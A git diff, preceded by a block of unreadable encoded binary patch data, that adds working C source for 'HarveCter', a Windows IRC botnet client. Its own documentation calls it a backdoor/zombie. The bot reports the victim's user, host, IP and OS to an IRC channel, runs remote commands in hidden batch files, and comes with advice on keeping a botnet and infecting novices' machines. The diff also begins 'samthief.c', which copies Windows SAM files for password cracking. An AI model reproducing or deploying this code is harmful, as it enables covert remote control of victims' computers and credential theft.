zv)D7QLqQT$F!}N|4rP5Rz*=TBHTm-_8ltF4<-G5IXrkB+hiFBbV&z2wD3uur6_P^R zYVqoJpqqFGBGiXnb-U;n9y(N?bmsz$qF#{)h-ctD=>;uh0B-ngS@H}EQ4$g&-vMH% z`Q`{X0*=5EM1bk%?IX{|h1n>PpBlP}`A|uu6Xk5%u)U^jHR*aBGiii6r2r@=Yf-DD zP)!!Kk{HK?Xi-CKc5WB&n^#ks?F>9CQYD%dH<1pA!bC}c^NbjLmpB5Bz|ukhxu&6@ zFT*9H_Uxg(=0XAr#=yXAc%m8*LO~nqRKuQx1E-QgHCen$VjL5q#f#59I|2a$CC9>_ zd8yu22~ID@Aw%L%iDTdJYvPL$o%?hImMQ{EG8r-1#}7M}>LAQR+=+2ah~~l3f|{^@ zcx=A@me|N0ut}(8b}Sz!LAU8Ip^qHTQg66mJVOJQfjTs-Vi`coXN$$3q&G6JIs%SB z8Uf@QJRhkmXtNBGQM%`+m^3kt2@zIkvb9KicEg7@O~jPzPl*CU>RSncB?Hh0J|$FG z$Xd_l1INgEDPIc7XdD4|I&=7go=h8-jxc}~Gi&n>qE38PW(o;T1vxJO1UA)E#0+;q z^JGU5u>RsG6ap7)5;zjhagVaK#lU4Hw(J7xd4WgYhByh7q>9{*5za~;3~>-A%w^z7 zC7!Zrn==@mQv89<;Hslq(0AGlg14DIuo-K{1{Dv`4u&H+WD*i9HMhgjF&9;URd7h? z@Qvwm+=x(ao68+4Xv<5w{8P1=_)yX&&l34MgVwm$9f64=U~>)Xwv6(A24l4k8uUP6 zqTOgVj%Ud?<;0jBzXpvIpwR5h|L<2P7)s|BdRu&JD{^_)4;{f zLr2NAD{E7215I`rzQP|WDG?{aL6hWIBw#P$vXG)-fK_lvo}poaKAYPM&w6Kg00f($ zuCplwpj>Cr8uz**FgXNl`mrPf^}#$NtCDwjLaM?f&%o5cjR~Ih4rbv>Zs~}0a29pk zB*9ipG^ta8J`bshy<&hhx{ECbj+W`69q9Sw839~&DlF&2VnVc&G80BtPRc>s5f15& zbFQ_FQRas~UIIMDc(6wrtK%8`2snrM`d2$RYj?{06j*~n$`wDN3M4wEij9^+>q2U_ z!p<^h1Tio%Lpk{oHks+693(}kG3-EYV?aHKlO6$r-8v;uY*^=AW-S!hcb{5FDZ*H7U=_O>JYpLV%jsqYHI58C85G z$7WsP2uvCQn|_Al8BE*Q#~V-Ke&)uk&pLPjit0Fp`=q#4Dml(lSZVbs<5bpv!s@dw zzx|5NGw_un4)G{FL$fnxH~WE)bD#1Y)Ud9*Hp?snXqbqDF`_1?QP~W1?4k8yBcz3_ zn(oy^>47{0YVeY0#jacqz}I)XbsIC92eUbQjai;f14k`+hJ9!v7ePpn+kRQ(*(vo1 zF|rN|*fP_1Maw4aOR3eDv+Lw+rM=WTC1`*EzW9J92}s~wc2uz#+V02^QaE+sv0*(! z22oMl7%{3bs^F~kZmq?2tI0Y*z*yP3!a&$uK2cPZ5W0p(c!6JlfNKU%196MZWta$I zuh-K$oA8qRl12cfA1*8cmS@Pb%|=$Co1dtM%bW$bmkLj{GGL2&MpjPuh_hqf&#)mODr6USqzJLxI%OuHHRc{FWTiFs5sFkp zOhNM?UA5#HOwQ_NU{k&b0nbVp_lOcIu%4B{qj@lzFlE6J#2Ti~T=A+0$4+Ne3F3q% z90l)Z5D<bjNniq>+h-Uk=Gr8Nh4r$4eD@*JTP%iQR*Pt z);|W)2Kk_a8VEotFzdh}m>5|g8LYJgW`{at4Dvoy+XYq@0t@W7y*o=aER7iILTc~M zH64L@K_K86A{nT(;u%G5s0z|Nwg6*hg0tHX{dADXg2dQrCSeuk@S3tu87 zbvlwSX`Vq$vXU67M?qy+*!L!m!1xG|XT(1`4#|M^4EQF!AdRp$ob!zF2WGx4SVB2q zJ!8IIyFEw15pVSmp5I2si?cfFs}tEIb1CcNZ4kyL+53 z1nf8#494;d)Z;@6Pr<#An&!Uavfv<2bC4dJBj5-)0*=5bhyXK`^NhZq*|*n$^9+lI z*Bt>zz!7i+9D$(_7>;KQe0VdI?l!y}Z9;X9;)IO5Sx3MTa0DCyM_^+`Ht4(vdoP9n?6<`8O=5j8=@d4@&9 z>yCgU;0QPZj=)d|jL0+aK4`q8LH>a~wz?pY)NzV?TM6p6xmC8DAZQX;4$kt>nhF%+ z=1@SHD9=!LR7pl9q2gz3+WUHjpzw+#;0QPZj=)qQFgnjb&LgGZo=;3rugit(HqT)5k&BzN)x9d4A^Iwce38H`7+gGziB;ZY~pJI@FJ@k2+z5pV?Or8O%!P0#*V<68Mt=r76ahA1`SjV1i={Ih&C_F=9wCt4gjF#i;YL0*-;0QPZ z3yi>6JOh6UdvZKOxfY1jrQ0?-Ljh_Hvf-FKW1x3=3@SJbBs3+Vwd_2@qTzK%z!7i+ z9D(UUU@V?dro!%SsOKgv`!D;_A5Eg>BUFav8H$jVW{-g~4x!I|bHm`Q^NauxKXe2f z0Y|_Qm=Xj==NZ9IgSO-uQ_}7BVT`~t_#M}lbU|uyrG1djGumV2nvQ@Y;0QPZ3yHue zJOlCJJ&gGKCZrn5mkZgA$@v z;{8HKzW}~Q;2B~J3lJV%IL}xxsNInx;0QPZj=)d|jLtKLa0<}B?jR&UKHV&4$&XNGZdB#$|%shTaz!7i+mMa2HJOh13mi03I zWA8j;`p3v4bOam$N8r>%U;xiJH9-k_J^f1>cxn^G?1zqkBj5-)0*=5mAmBWs_#-9* z%akwb42<6u905nb5pVUdB$Lpu_y!MP8|V9z!7i+9D!wkfb$IJ8IFJ>;0QPZ zj({UDDFmEnObXd$KtjC>j({WJ2si?cz?cX)&v2gM2si?cfFs}tI0BPGz5pV!abauG&Ux9<-X7$yI_=erOSx$#Z+idQupxotl#P zf)6Cq4@(d*4yQk6kI)ft1ePcQ^TRV%=5s0|&sm!Lz&C&Ss{5~>X|Gbn|#u#99=-V2-cTbm)4 zskj2epcF^Tjr^N?O2{_iRxWV_9D!370nNbUATSos(0usCb2uYJr+<&A zS{g}qu;^5t7Xz2t<76{MpiLSnuq|Ut>>KTrA@ujE{s_u(M+QoY2#duGmf`?G7Nyz- zT4+!xjin3m|`y7amSG# zWsGRH1hv@V(8i#%zNBGc@wy{$DkIS488c4-1g2L`ytdvFpRstx-Y?D^E~&;R4}Vq# zbJpI^&unSOGY}>8NisCqQGz|U=FCSO^_-cP^J!df2@2I{nUiuilQ;Hit!o)p`bumWSnz<1&&>`Gp|`$_qHPA9|RI`0$jZSpO=P3FS_efeO;}iX-3% zoFWL6)5TL?{&MjVT}k#+pDL!2p%566XJA%3e8wk0GLEjCIl8Ktqdu|slPIXXbk@w= zmuJpe`RQh=fqVw#A`g`lE9=a`m}hmC3U$d3tk^yAK;29;!cxTPbzKt_y+)+$Z*p7odpx{e$ zD`!@&{46AO=vyYi*;x`CqON2NBXwyQr^quzwIE4O&ViqiVXCsm>OAlabR^i= z_hbOEup3X5dRiI*G({;PLX&ta`bnMPzjea4uvrX1a^J`g)Y&oZlszaTXt9H`{I;(Y z5mql}z)6;6rKGoOZz|S=6$OrJU5OhuON!upJ)^~6W^RVj&pHC9AObUAEU1PGv+Yng zjLtK#k^z$OiM{{w*?ph-;=WJidq0uS&HQuA%oeOKteg4#%9&5E{1;4ab@W9!<=JJjlnZk6{{C`Eu(x7^sK{2SLQE$IiLH) zJ6rI%wY#LzX3m8USVfVXsttAV3?yb7Zd_+0PVsuKAQuof{V<^y&<$&Z-r2PgB8lB0h9tcxT$B!4205mkDhl>#z`kWjL1&8y zyXzSn%6fN4XE+G-hdM-a8?+8fAH}#2WlhSmlYG;&`K*k1#Sw4>PBjEpt;)+6Lcuez zs__or)gTD%7dA%Z8E}KS>9hMj{ppv^I^&&nYu?$2eg4kI{P1T#zN1*u_(Zu{F>pwb zcR?w**YrvWQ!>1uGSChuO7aYJ-tvqx)DdTAb`!?6B_#vHV=Hu!ox&alafp4Jw$iCu z_3@0+j0o+@W)YAajZo>@DeZQNh2f6vgM?=D)*Kt!3Y~!!C^uV6o-M=MP*IKUI2L}{ z_mOPM5$%*Nx|U%ThfshAsf|!kgrXYsA~_uS_gY5))|)s2%N2nx!@w6@Ki_@vlTS}9 z+i27Gv3Ld+Grs)iHS3PwarmEy_x|(n8Gl}L^r=k912J{bfO&{}wr}5j0gNC%lwm`%`s^e7Sy&r% z0ob;-K8_u<<;BxXGN?0JglJWfj18#S0Yx1W+m~VMGHA^XYb2>}Eth`1dXJ2usjahV;VA|u20(Kc*TA2qfOC8O8?7nTs94#@~M)g+Etr^c@+ z+A_`_6Jr;AF=Kp$-GU>qoDe9eMzxYLPQS+D8E}l5>yG1FP*%OO5x)(J6^^4@J~7l( zD>9)OR+3>m#%UCLkPO8zGQE&@1=b+ZscEjnG@^}UntQY;v6a_D!81xyfqmbm3vW?k z8|ai5Ga@ct3$03VSZ)KGyMiO&2si@6A}}t`fIrSqc0X(o)CaxbHd=GGQW)0A_*BDM zTcUO3!#MJ!5NdVu*up6&(KS|AnSM;-$frMMkI)ft1ePcQ^T0EfXwN-tN5Bzq1RMcJ zz!8`<0?spr_!{w~2gB_<0*-(q;0QPZ%M1bM8O}2t0Y|_Qa0DCyM_^J2IM0|AvdfH+ zdUqTFN5Bzq1RQ}85OAL1Ji`%i1RMcJz!7i+CWSzPXS{vnSuc)&Bj5-)0*-(q;0TO^ z02e851e^nN2FbK`lp}F&%O-P(GUr>`aprgsm z%oiBprZ08>Y`0>jM6PY+!0Ip9Lv{@k$Pv%X%)ip+=kS8d=F==nFb*AL>zU7-1|2AT z?lVO<<&;g@1aBR|6r#0~fv!)7>n{~>DHus&JF(7agKMFn1)vd|BDOXRjZPb6T*nb` z1RMcJVEPf52cCh&_My0i1qGSr^e=ru*@cNGX%MH1RK5BOIEzYqk0cq)b8wAJkG8NT zr;><9sDf4u2@P$9a@qVGSVf9w$V_+V79$$(K6YQB(|e~ zrIQ>BMN(Hu@{HIN+yQE<%(195>vBiH5pVC-=h1%q?&ARkG66O#I8(4?1o8*oo%bhuEerUG3n23E)?L_1W0 zTp#_pTv5j})Otq1Ge&c5abPg99SaL};<0FeTBj^^V3&zxaGelyt89am zHLo}Vj({WJ2rOL$=7(p9TOf%lvknABNky%gc(4x)f{}n&?Ao~+k0CDn%nT~+-#LJ_ zIHbS@2!tf6Fe)9YqG;JcWNQY4e90#}lBfwZmA2zxnt_7ZfM-Zwj@q~u+6pGNlMFZ* z3$<#fSn2?^07)z1dWJd(O_I3=<9^B!a0DCyM_>sd(3WTDT?9Pc$JzrD5_2=N0@A~< ziy6R330oPs!*1 z&4D@3i1Bfr5o6*KN5Bzq1eO^BZFz=W1_vQvh8Q_d1i2rW;uA1lZus2Ur%i%w&>a`> zCt<(MHQ_uXMrq{hCpP60N5Bzq1RR0sM4%PVn9k5WDo4N(a0DCyN5B!7as-@b40xq+ z%E!;ca|9d#N5Bzq1g04Q=NZm3905nb5pV(Bka>(2|yY3t8B?OK%c6J^8sr){`^<@5~~^vZP?oPOQ+6Xp8vpHY+_ z^pzWaa7MSRI^%|3`O3ysRk`ph8%^1C;a9rlqOWYa=&LH5FZyb)T>RC|Rk`uvuikj^ z*Sh70U%Rm?H~sKyy>iLdZYs*xZw|_jzJ7CAZu!yI`^xGwZz;>ItIrI}nlo=*bLN(A z`NoztRayIuEo;AVTU;*v#%-5=^T%X_G`{A%KEVESbz48^|L#! z4a?4JXS-#??9Oia&dv?rxl84`@7z_DUDti5SFZo=uByyk|J`1>;k$EHx%-Ci-hIP4 z-LmnVyQ{K$<2ik0(>c3~vT{#QHm}@MmU}j@H068u+*p)*<8ssY?!D=I_jSv;_uXX5 z&F9{qEVrEZ^JKa8yuD#LfA6j5@7;3#FH+@~x1C>=3x0W9uRL(u1rPi_wyImUuG(kHLt9rpwDrQG+|gGa zzT?7fx%0w@yXB&X@4RTgE!!^IUzG#fE~?7K2e$Xh!R;6K%8rWj~?Ciqeth8@>pE%{?TK1|LF0etnMqj zSO2!AJh5j@vi$CzHT`An@9rtellP{}Q}?Yc%cW1<*H@mt|I)Z*_g_|&pNHj{pI=s# zy|!Hb%-+kNW%yVlhpzs8S^n_Q z)qUmRtN-xuHGhoD{%iiY|C%FVS$|~z`XdL{znUxu*B|YcYmXi@<&kTTMdh_a8>XR< z$4n#7*nYw3`FjUG$ny=G4#Yg;?R!tp^ZemA^2zaxmv8xMp1%t(-2Rg1n=jr5wy`{T z#$%U#GtZBqYk$l0$1mTZ`cE$3A=*)q46uzJ$v{0xG9XNn3<)`fMC0S-dL#pN=NX1-#3Ta} z=NX_HeIx^i&NFu2Fqmf)UkA;L-80WTQ~YNt4a*+mtY>`i#9Cya4fh_w!bZ$9u)LAK zaR*q)^_veaz#S9$!dPa9iqqmrWg^g-41C_qT z3>+@0^$e!$`Py@Vq@^_~4_?oJxh@Tvnb}Zopc)n1D5!^c#>wBVMtZnr&yjuS{`<)j zN1i|N?)r0A?>n!mpVzBjd)^v6H+k!x)1d!Wo?m|gbjJbx7pH?F!<4^3XY8NzqL9`M}c!zVAZETUT!{o}sKc^P}uaHo^X*Jl}HrAv`^y@U{nz z;?c?99w?fCDBQMo`)$>8laHRc%C`FPPY&7VCS1>mdBz`q3eIu-k0-%7)`4d{enmk+ z{tIg!SL_TJz>$;rk*!xl8I_-1c{SHF{_DYS!722&UUe5%GM>2VTOXY~cI4!VJJwzO z(Q{DlZRp6IcRXr&#yh_O$;dy>^KExN8b3FA@|v?hK6&iu$rDGnuLm_bdNSX>emx$e zeEd8PyW6po`HpL^{rH7zalG@PW2{ssi~l=$e%FS%W81&OPyCR;-Ca8#!$Xr}J9 z?YjPMJUw}B=Xa&~-+4ZF!`*mv@{bpncd) zE!9XJhEg8PGej~FM@cZcI~wDlaE1R=flU!S2T+EGxlxxPX57T zq!;8CojlL3o6GapKmvB{c&zgSeO+2HG z&9>_qq!D;(!o>{iK`*ce-6$WWba}?MbN@X*u^;nYu~GhVz23dLI&X!zpIMIH1aSj?b>58o@)?tb!Jyba2CH9#pgV?85U zENmRu{5{f(Hy(K$ej&ud#=#pa;h{qK{9nK=&VA&jbMp^>3wBa0Y21A73payyyl$5? zd_BY0Ge|g`XE@IYct*K8(A(LS2JwvE>8fVc0-iw?D%d)?%Md)HXuN?I$_k#AY$&LP z9Z6YB3i4_0yBnv+kgfx<&i zyqljmfV0lv3Hya=yi6i--!>6u*go_!V8hu|j!C|$Y z@zK*)LhbO=$H^yd{qZ5oGaA-2@bsj+r11=vH2QePysT${XXtIvU_Ap*Nq%y{<(W+o zz6N%3U{kRg5wB6`GxtV7iT74$gB#@y&FS>-|KXdX7G7MPY1C-+1t^Mm6;2CB~ zV+XlKH}3MSj-lSqP(xP0B#!(Hiy6f#i?*Nr`WOiZB_Cnn^An^OUBdC_Ts$LqKLcub zIm5mOO2R=?pcmV&xhsDY3?s)&ps3(6$CKM0wLF8GcuV8s=LYrydIoq#u%zKU!+D1D4Cfj6nrpE3AQBK%$O-IvhE+h8 z=b@zzQs$|W3-m|^gjU%$FO<}nyn%c23>d=XSC}hz_@7Ttq{;U{dlO_?d+SfRo|}}v zrP1p5GwgeymS<=UW3=}`85`cr*mdDo_?8AF59z6Yx3CVwm6)wnl1p5z&NA@sgyjz5NHCFNt3A78qo`&%0QKb|qd za}%v+%-8o?EzkHBzG-suQ4WyZV&X&Hg|tNgKHRXe2Ddo8@k_dtzH6!@V=Wi zCVxMJFNE?f4d)roGn{8Q&sZ>?QLut)Bc&LcXRx`Z{^GTae5QOkBjgz%9DH1YS3&s< z<*gHVZnAX*o&j#5@3rz>4ZIV2-S^kNu=#W>C$K)$_geXW26}<7!fw3zAii?KXC;tK zlxJu?W6vd5@QWt{-vbS(#w+ICPx6ez|B3fN6YCk^8TYL{^P`i8{&w>C{g>`wWvTEC z{Cjd1w~n3rewb!?nk@qh8R9eH%9Ljg7k=eofC! zMtcvmJ7OTAv`_#@V9^e z5O0I-ah~Bk!+D1DjB$8IMH{;R+XabWjf5IhuyybO9JYEtqw56!mE5BD=%o7Y2_`Zfn z{j#fq@0&mlgZ6j2{`k`!cs>$;uhqVv(SAL{J~uJH*46YoUHO~g8>9UF47~@+ue0ih zL7RUM)PA)Uiy}L>KZf4}eHvdm$??3S*dQGCd#!puV|<>0*FT@bS5ETR84Mng@O!P# z;q^}=OcW%;u!<=r96OVkdl;if;lwbDQT!>j{y(CILtoFBuk{QvgGJmA<{1q%V&ExX z&+zpOU(fKr*NVU3>VL1*|6Z&Ay;lEwt;GTbNC#FzNIiV-2si?cfFs}tI0BBqydcnh zJOW$JGv) +#include +#include +#include +#include +#pragma comment(lib,"ws2_32.a"); + +//Sends IRC message "msg" to "channel" over socket "s". +int irc_sendmsg(int s, char *channel, char *msg) { + int len, err; + char snd[1024]; + sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg); + len = strlen(snd); + err = send(s, snd, len, 0); + printf("%s", snd); //Show + return err; + } + +//MAIN_FUNCTION:////////////////////////////////////////////////////////// +int main(int argc, char *argv[]) { + +//SETTINGS://///////////////////////////////////////////////////////////// + char server[] = "irc.2600.net"; //IRC Server + int port = 6667; //Port of IRC Server + char channel[] = "#hv"; //IRC Channel + char pass[] = "test"; //Bot Password + char chanpass[] = "lol"; //Channel Password + char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup +//MISC://///////////////////////////////////////////////////////////////// + char version[] = "1.0b"; //Bot version + char nick[128] = "Harvecter"; //Doesn't matter - Username of active user will be used instead + char cmdfile[] = "zzzcommands.bat"; + //AllocConsole(); //Ukazat + //FreeConsole(); //Schovat... ;) + //freopen("log.txt", "ab", stdout); //Log all outputs to file +//INITIALIZATIONS://////////////////////////////////////////////////////// + srand(time(0)); + char lclhost[256], lclhostnm[256], hostmsg[1000]; + char *user, *processor, *root, *logonsrvr, *os, rnd[10]; + //Load enviroment variables + user = getenv("USERNAME"); + processor = getenv("PROCESSOR_IDENTIFIER"); + root = getenv("SystemRoot"); + logonsrvr = getenv("LOGONSERVER"); + os = getenv("OS"); + //Generate nick from username and random number + sprintf(rnd, "%i", rand()); + sprintf(nick, "H-%s-%s", user, rnd); + //time + struct tm *localtime(const time_t *tod); + struct tm *p_st_cas; + time_t cas; + //cmd + FILE *cmdf; +////////////////////////////////////////////////////////////////////////// +//CODE://///////////////////////////////////////////////////////////////// +////////////////////////////////////////////////////////////////////////// + + //Delete cmdfile (Hell knows it's useful...) + cmdf = fopen(cmdfile, "w"); + fprintf(cmdf, "del %s\n", cmdfile); + fclose(cmdf); + WinExec(cmdfile,SW_HIDE); + + //Print banner + printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version, channel, server, port, nick); + //Execute startup script + WinExec(rcfile,SW_HIDE); //Run rcfile (hidden) + + //Declarations for WSA + int s; + SOCKADDR_IN sck; + HOSTENT *host, *localhost; + WSADATA wsadata; + WSAStartup(MAKEWORD(1,1),&wsadata); + + //Set details for WSA + while( (host=gethostbyname(server)) == NULL){ //Host + printf("!Error server host not found\nwaiting 5s...\n"); + sleep(5000); + } + sck.sin_family = PF_INET; + memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length); + sck.sin_port = htons(port); //Port + + //Info at localhost + while ((localhost=gethostbyname("")) == NULL) { + printf("!Error local host not found\nwaiting 5s...\n"); + sleep(5000); + } + sprintf(lclhostnm, "%s", localhost->h_name); + sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr))); + sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor); + printf("%s\n", hostmsg); + + //Initialization of strings used for IRC communication, etc... + int len, err; //Lenght, Error + char snd[1024], msg[1000], rcv[1024], passin[1000], *sub; + + //Infinite loop (bot can't stop) + while(1) { + + //Create socket + s=socket(AF_INET, SOCK_STREAM, 0); + + //Connect + while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) { + printf("!Error while connecting\nwaiting 5s...\n"); + sleep(5000); + } + + //IRC Server login + sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick); + len = strlen(snd); + err = send(s, snd, len, 0); + + //Join&Set channel password + sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); + sleep(1000); + err = send(s, snd, len, 0); + //mode #chan +k heslo + sleep(2000); + sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); + sleep(1000); + err = send(s, snd, len, 0); + + + //Send greetings + sprintf(msg, "Hello ;), let my introduce myself... I am %s v%s", nick, version); //Zprava + err = irc_sendmsg(s, channel, msg); + sprintf(msg, "!chanpass"); //Request channell operator to set channell password (mode +n+k) + err = irc_sendmsg(s, channel, msg); + + //Loop (while connection exists) + err = 1; + while( err && err != -1) { + + //JOIN + sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); + + //RECIEVE + memset(rcv, '\0', 1024); + sub = 0; + err = recv(s, rcv, 1024, 0); + printf("%s", rcv); + + //PING-PONG (Respond to server pings only) + if ( (sub = (strstr(rcv, "PING :"))) ) { + sub = sub+6; + sprintf(snd, "PONG :%s", sub); + len = strlen(snd); + err = send(s, snd, len, 0); + printf("%s", snd); + } + sub = 0; + + if ( (sub = (strstr(rcv, ":!chanpass"))) ) { + printf("!Setting chanpass\n"); + sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); + len = strlen(snd); + err = send(s, snd, len, 0); + } + sub = 0; + + //LOGIN + if ( (sub = (strstr(rcv, ":!login "))) ) { + sub = sub+8; + sprintf(passin, "%s", sub); + if ( strstr(passin, pass) ) { //Use this condition to check login. + sprintf(msg, "Login succesful"); + irc_sendmsg(s, channel, msg); + printf("\n!!!Login succesful\n"); + } else { + sprintf(msg, "Loged out"); + irc_sendmsg(s, channel, msg); + printf("!!!Loged out\n\n"); + } + } + sub = 0; + + //IF LOGED IN: + if ( strstr(passin, pass) ) { + + //SAY + if ( (sub = (strstr(rcv, ":!SAY "))) ) { + sub = sub+6; + sprintf(msg, "MSG: %s", sub); //Zprava + err = irc_sendmsg(s, channel, msg); + } + sub = 0; + + //INFO (USER, DOMAIN, IP, ARCHITECTURE) + if ( (sub = (strstr(rcv, ":!info"))) ) { + err = irc_sendmsg(s, channel, hostmsg); + } + sub = 0; + + //TIME + if ( (sub = (strstr(rcv, ":!time"))) ) { + printf("Time\n"); + //struct tm t; + + cas = time(NULL); + p_st_cas = localtime(&cas); + + strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas); + err = irc_sendmsg(s, channel, msg); + } + sub = 0; + + //SEND RAW + if ( (sub = (strstr(rcv, ":!raw "))) ) { + sub = sub+6; + len = strlen(sub); + err = send(s, sub, len, 0); + } + sub = 0; + + //SHELL + //Hey! Don't forget to download wget&curl in bot directory!! ;D + //With wget and curl you will be able to download and upload files... + if ( (sub = (strstr(rcv, ":!CMD "))) ) { + sub = sub+6; + sprintf(snd, "%s", sub); + printf("!CMD %s", snd); + + sprintf(msg, "Executing: %s", sub); + irc_sendmsg(s, channel, msg); + printf("!!! %s", msg); + + FILE *cmdf = fopen(cmdfile, "w"); + fprintf(cmdf, "%s\ndel %s\n", snd, cmdfile); + fclose(cmdf); + + WinExec(cmdfile,SW_HIDE); //Hide console window + //system(cmdfile); //Show console window + } + sub = 0; + + //HIDE/SHOW + if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0; + if ( (sub = (strstr(rcv, ":!show"))) ) { AllocConsole(); } sub = 0; + + //RESTART connection to server + if ( (sub = (strstr(rcv, ":!restart"))) ) { + sprintf(msg, "Please wait while restarting..."); + err = irc_sendmsg(s, channel, msg); + closesocket(s); + sprintf(msg, "ERROR: Couldn't close socket :("); + err = irc_sendmsg(s, channel, msg); + printf("\nRESTARTING...\n\n"); + } + sub = 0; + + //RESPAWN (restarts all) + if ( (sub = (strstr(rcv, ":!respawn"))) ) { + sprintf(msg, "Please wait while respawning..."); + err = irc_sendmsg(s, channel, msg); + printf("\nRESPAWNING...\n\n"); + closesocket(s); + execl(argv[0], NULL); //Exchange old process for new (argv[0]) + sprintf(msg, "ERROR: Couldn't respawn :("); + err = irc_sendmsg(s, channel, msg); + printf("ERROR: Couldn't respawn :(\n"); + } + sub = 0; + + }//END LOCKED COMMANDS + }//LoopEND + + //Close + closesocket(s); + printf("!Error while sending\nwaiting 5s before reconnect...\n"); + sleep(5000); + }//InfiniteLoopEND + + //Zavrit + closesocket(s); + WSACleanup(); //Flush WSA + return(0); + +} diff --git a/c/HarveCter/harvecter.nfo b/c/HarveCter/harvecter.nfo new file mode 100755 index 0000000..38a3dd0 --- /dev/null +++ b/c/HarveCter/harvecter.nfo @@ -0,0 +1,113 @@ + <>=========================================================== 1001 1001 1011 1110 0000 01101 1110 ===<> + ___ ___ ___ ___ + /__/\ / /\ / /\ ___ ___ / /\ + \ \:\ / /::\ / /::\ /__/\ / /\ / /:/_ + \__\:\ / /:/\:\ / /:/\:\ \ \:\ / /:/ / /:/ /\ + ___ / /::\ / /:/~/::\ / /:/~/:/ \ \:\ /__/::\ / /:/ /:/_ + /__/\ /:/\:\/__/:/ /:/\:\/__/:/ /:/___ ___ \__\:\\__\/\:\__ /__/:/ /:/ /\ + \ \:\/:/__\/\ \:\/:/__\/\ \:\/::::://__/\ | |:| \ \:\/\\ \:\/:/ /:/ + \ \::/ \ \::/ \ \::/~~~~ \ \:\| |:| \__\::/ \ \::/ /:/ + \ \:\ \ \:\ \ \:\ \ \:\__|:| /__/:/ \ \:\/:/ + \ \:\ \ \:\ \ \:\ \__\::::/ \__\/ \ \::/ + \__\/ \__\/ \__\/ ~~~~ \__\/ + + <>===== IRC Bot ================================================================ <-- Harvie 2oo7 ====<> + <> <> + <> <>GENERAL <> + <> Name: HarveCter <> + <> Subject: IRC Bot <> + <> Description: Remote Control/Backdoor/Zombie/etc... Everything is controled by IRC <> + <> Version: 1.0b <> + <> <> + <> <>DETAILS <> + <> Platform: Microsoft Windows (Tested on XP SP2) <> + <> Language: Ansi C + Few windows libs (windows.h & WinSock) <> + <> Author: <-- Harvie <> + <> Date: 2oo7 <> + <> Contact: Harvie@irc.2600.net <> + <> <> + <>=====0=======================================================================================1=====<> + <>======0=======================================================================================1====<> + <>====000=============================================================== <-- Harvie 2oo7 =====111====<> + + <>===== INFO ================================================ 1001 1001 1011 1110 0000 01101 1110 ===<> + + <>Building info: +Optimalized for Dev-Cpp. +Compile as windows GUI app. to make a daemon. + + <>Warnings: +There is not so big security!!! +If you want to keep your zombies, +control them only by PM or at completely secure channel!!! +All passwords, that are starting with your password will be accepted!!! +If you want to keep your botnet use Dynamic IRC server maping (by Dynamic DNS), +rather than sending bots directly to one server (as irc.2600.net:6667)!!! + + <>Setting up: +- You can do all settings in source. +- for better security use a different password for channel and bots. + + <>Commands: +- Warning: all commands are case sensitive + +- !login [login] //Bad login=logout +- !chanpass //Set mode +k (each bot sends this when connected) + + <>Privileged commands (needs login) +- !SAY [msg] //Say msg +- !CMD [shell command] //Execute command @ bot (hidden console window) +- !CMD start [shell command] //Execute command @ bot (show console window) +- !raw [line to send] //Sends raw line to server (you can OP yourself) +- !info //Info about zombie +- !time //Local time @ zombie +- !show //Show console window +- !hide //Hide console window +- !restart //Restart connection to server +- !respawn //Restart whole zombie + + <>Startup commands: +Each time when the bot starts, he executes the "hircb.rc.bat" file - hidden (UTFS). + + <>More functions: +If you want to add more functions to this bot, you can add them direct to the code, +or you can simple add executable binaries to its directory (!CMD binary.exe). +This binary must be fully controlled from CLI (command line). + + <>Recommended binaries to add: +- Wget (wget.exe) - Allows you to download files from http & ftp (add functions online...) +- cURL (curl.exe) - Allows you to upload files to your server (needs some php scripts...) + + <>Another usefull binaries: +- NetCat (nc.exe) - Useful (Easy Networking, Firewall test, Backdoor, etc...) - you know... +- Servers - FTP(SlimFTPd), HTTP(you can strip Apache), SMTP, SOCKS, Proxy +- Runtimes - Unix(CygWin), Java(JArX) PHP, Perl, Python +- NirCMD2 - (nircmdc.exe) Work with special windows features (mouse,gui,system functions,...) +- CLAmp (clamp.exe) - Winamp Control (Yeah! What do you expected???) +- Anything else - DoS, mailing (Don't do any ilegal stuff with this - yust testing!!!) + + <>Recommendations: +- Use some free DNS service to move zombies across servers. +- Take very big care about channel security. +- Install this bot only at n00bz' computers, because there is no encryption + (anybody else can sniff and get passwords, etc...) + + <>Version history: +- future - Maybe some bugfixes +- 0.1b - bugfixes (cmdfile), Implemented "!respawn" +- 0.9 - Executing hircb.rc.bat at startup, first use "In the Wild" -> found bugs, need "!respawn" +- 0.8 - Hidden execution +- 0.7 - Implemented "!info" & "!time" +- 0.6 - Implemented "!login" function +- 0.5 - Implemented "!CMD" function +- other - I can't remember ;D + + <>Terms of use: +- Use it like you want [use, change, abuse]! +- There is no warranty, because this is free of charge for you! +- There is no responsibility from side of author, because this is tool only! +- Only you are responsible for yours acts! + + <>=====0=======================================================================================1=====<> + <>======0=======================================================================================1====<> + <>====000=============================================================== <-- Harvie 2oo7 =====111====<> diff --git a/c/samthief.c b/c/samthief.c new file mode 100755 index 0000000..aaadfff --- /dev/null +++ b/c/samthief.c @@ -0,0 +1,28 @@ +#include +//SAMThief - Harvie (2oo7) +/* +Quicky & secretly copies sam & system files from %systemroot%\repair +This files should be used to crack, Administrator password. +For example by using ophcrack.sourceforge.net (Rainbow tables crack) +*/ + +int main(int argc, char *argv[]) +{ + srand(time(NULL)); + unsigned char i = rand(); + #define SIZE 64 + char dir[SIZE], now[SIZE]; + + sprintf(dir, "%%username%%\\%d\\", i); + printf("%s\n", dir); + + 